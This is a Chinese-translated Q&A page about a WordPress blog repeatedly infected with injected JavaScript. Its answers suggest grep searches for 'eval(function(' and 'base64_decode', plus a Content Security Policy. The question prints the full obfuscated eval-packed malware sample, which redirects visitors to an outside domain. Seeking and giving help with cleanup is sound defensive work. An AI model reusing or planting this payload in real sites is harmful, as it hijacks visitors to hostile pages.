Wordpress 上的 Javascript 注入预防

Posted

技术标签:

【中文标题】Wordpress 上的 Javascript 注入预防【英文标题】:Javascript Injection prevention on Wordpress 【发布时间】:2016-11-04 19:46:48 【问题描述】:

我在 wordpress 上的博客注入了以下 恶意 脚本:

eval(function(p,a,c,k,e,d)e=function(c)return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));if(!''.replace(/^/,String))while(c--)d[e(c)]=k[c]||e(c);k=[function(e)return d[e]];e=function()return'\\w+';c=1;;while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;('3.5.4="6://%1%0%0%9%2%8%7%1%2/";',10,10,'78|6F|6D|window|href|location|http|63|2E|74'.split('|'),0,))

它导航到:

http://oxxtm.com/ 重定向到: http://www.html5website.com/

我已经禁用了一些插件,但问题似乎出在其他地方,因为我正在使用以下插件,它们似乎有很好的声誉:

Akismet 登录验证码 免费且简单的联系表单插件 - PirateForms(我的 Zerif Lite 主题推荐它) SMTP 邮件程序 WooCommerce

如果我找不到根本原因,您是否建议处理“重定向”事件以保持网站运行?如果是这样,如果有指向http://oxxtm.com/ 的重定向并使用javascript 中止它,我该如何处理?

我尝试使用 onunloadonbeforeunload 事件,但似乎注入的 eval 甚至在事件操作注册之前运行。

我可以看到它被注入到 wordpress 中的不同 php 页面(有时只有一个有时更多),我不知道是否有一个常见的 PHP 文件,我可以在其中包含一个脚本来防止这种恶意行为脚本。

我已经多次删除了恶意脚本,但它被一次又一次地注入。我需要在寻找原因的同时治疗症状,否则该站点将停止服务。但是,我不明白脚本最初是如何注入的。

【问题讨论】:

而不是治疗症状,例如重定向,找到受感染的文件并删除恶意代码。 @PatrickEvans 我已经多次删除它,但它又被注入了。我需要在寻找原因的同时治疗症状。 【参考方案1】:

在您的所有文件中搜索以下内容:eval(function()

它将显示包含此代码的每个文件。

否则,请尝试搜索:base64_decode

这是一个允许对 base64 编码文本进行解码的函数,恶意 PHP 文件经常使用该函数来注入一些您无法通过搜索 eval( 检测到的代码

如果问题仍然存在,请在此处回答,我会尽力帮助您。

【讨论】:

【参考方案2】:

此外,作为保护您的客户端免受 XSS 攻击的附加功能,我建议您在清除后端注入后使用 CSP。您可以阅读更多相关信息:https://developer.mozilla.org/en/docs/Web/Security/CSP 这不是灵丹妙药,但很高兴拥有它来保护用户。

【讨论】:

以上是关于Wordpress 上的 Javascript 注入预防的主要内容,如果未能解决你的问题,请参考以下文章

阻止 javascript 禁用的用户访问 wordpress 网站

使用 javascript 为每个 wordpress 帖子应用交错和随机的左/右放置

WordPress中文汉字username不能注冊怎么办?

怎样利用WordPress创建自己定义注冊表单插件

当托管在 openshift 上时,WordPress(Redux 框架主题)中样式表和 Javascript 的路径无效

Wordpress Divi Slider自定义javascript控件